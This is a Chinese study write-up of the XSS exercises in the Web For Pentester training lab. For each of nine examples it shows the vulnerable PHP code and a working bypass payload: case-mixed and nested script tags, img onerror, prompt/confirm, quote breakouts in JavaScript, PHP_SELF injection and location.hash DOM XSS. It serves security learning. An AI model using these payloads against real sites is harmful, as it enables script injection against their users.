1. 程式人生 > 實用技巧 >Web For Pentester 學習筆記 - XSS篇

Web For Pentester 學習筆記 - XSS篇

XSS學習還是比較抽象,主要最近授權測的某基金裡OA的XSS真的實在是太多了,感覺都可以做一個大合集了,加上最近看到大佬的部落格,所以這裡我也寫一個簡單的小靶場手冊,順帶著也幫助自己把所有XSS的方式給溫習一遍。

EXAMPLE1:

<?php 
        echo $_GET["name"];
?>

頁面沒有過濾任何引數,想傳啥就傳啥,可以直接傳參

example1.php?name=<script>alert(/xss/)</script>

EXAMPLE2:

<?php
         
        $name =  $_GET
["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/<\/script>/","", $name); echo $name; ?>

對於<script>,</script>兩個引數進行了遮蔽,但是沒有做大小寫限制,因此可以直接通過大小寫的方式繞過

example2.php?name=<sCriPt>alert(/xss/)</sCriPt>

EXAMPLE3:

<?php
         
        
$name = $_GET["name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/<\/script>/i","", $name); echo $name; ?>

/i 代表著無視大小寫,因此我們需要使用其他方式,常用的img方式或者使用標籤<a>或者svg方式測試,或者使用雙script方式繞過(寫到example4的時候才發現example3應該檢測的是雙sciprt繞過orz,這裡補一下)

example3.php?name=<img src=“x” onerror=alert(/hellworld/)> 
或者
example3.php?name=<S<script>cript>alert(/hellworld/)</S</script>cript>

EXAMPEL4:

if (preg_match('/script/i', $_GET["name"])) 
{
die("error"); }

這時候就不能出現任何script語句,因此使用上述example3上的例子:使用img方式彈出

example4.php?name=<img src=“x” onerror=alert(/hellworld/)> 

EXAMPLE5:

if (preg_match('/alert/i', $_GET["name"])) 
{
  die("error");
}

例子5出現了對任意大小寫alert的限制,因此需要使用其他方式,這裡使用prompt或者confirm來彈窗

example5.php?name=<script>confirm('XSS')</script>
example5.php?name=<script>prompt('XSS')</script>

EXAMPLE6:

<script>
        var $a= "<?php  echo $_GET["name"]; ?>"; 需要注意這個引號,我們需要在在輸入中將它閉合
</script>

直接在js語句中GET["name"] 這樣子是有巨大風險的,可以直接輸入命令繞過

example6.php?name=";alert(/xss/);"

EXAMPLE7

<script>
        var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

首先,htmlentities() 函式是把字元轉換為 HTML 實體,因此可以使用單引號繞過’

example7.php?name=';alert(/xss/);'

EXAMPLE8

<?php 
  require_once '../header.php'; 

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

這段程式碼 一種是通過post方式輸入,然後通過htmlentities實體化,這種方式單引號繞過便會失效

但是後面還有一段<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

我們可以想辦法,把" method="POST">這個給註釋掉,然後這樣子的話在from裡面就可以執行xss

因此執行

example8.php/"><script>alert('XSS')</script>//

EXAMPLE9:

<?php require_once '../header.php'; ?>
<script>
  document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

首先依舊在script內,且執行了location.hash.substring(1)

查閱相關資料可知:hash 屬性是一個可讀可寫的字串,該字串是 URL 的錨部分(從 # 號開始的部分)

因此可構建payload

example9.php#<script>alert('XSS')</script>

後面查閱資料發現只有IE才能彈出,無奈macos只有chorme和firefox無法測試orz

XSS篇到此結束

參考文件:

國光大佬的學習記錄:https://www.sqlsec.com/2020/05/pentesterlab.html

W3school:https://www.w3school.com.cn/jsref/prop_loc_hash.asp

CTF中PHP知識彙總:https://www.restran.net/2016/09/26/php-security-notes/